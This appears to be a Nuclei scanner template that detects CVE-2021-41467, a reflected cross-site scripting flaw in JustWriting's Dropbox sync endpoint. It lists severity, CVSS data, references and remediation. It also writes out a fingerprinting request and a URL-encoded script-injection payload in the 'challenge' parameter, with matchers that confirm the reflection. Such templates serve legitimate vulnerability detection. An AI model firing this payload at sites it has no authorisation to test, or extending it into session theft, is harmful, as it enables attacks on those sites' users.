JustWriting - Cross-Site Scripting

id: CVE-2021-41467

info:
  name: JustWriting - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: A cross-site scripting vulnerability in application/controllers/dropbox.php in JustWriting 1.0.0 and below allow remote attackers to inject arbitrary web script or HTML via the challenge parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/hjue/JustWriting/issues/106
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41467
    - https://github.com/hjue/JustWriting/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-41467
    cwe-id: CWE-79
    epss-score: 0.03601
    epss-percentile: 0.89091
    cpe: cpe:2.3:a:justwriting_project:justwriting:1.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: justwriting_project
    product: justwriting
  tags: cve2021,cve,justwriting,xss,justwriting_project,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "justwriting")'
        condition: and
        internal: true

  - raw:
      - |
        GET /sync/dropbox/download?challenge=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "</script><script>alert(document.domain)</script>")'
        condition: and
# digest: 4a0a00473045022100b04502d240512dfb5a4c3518709087e1920f8fe7e3696ac7c16681b0b5054eb702205487662ebe93d529fc423a27cec060aeb4a80010d71231350a77851d5c94e572:922c64590222798bb761d5b6d8e72950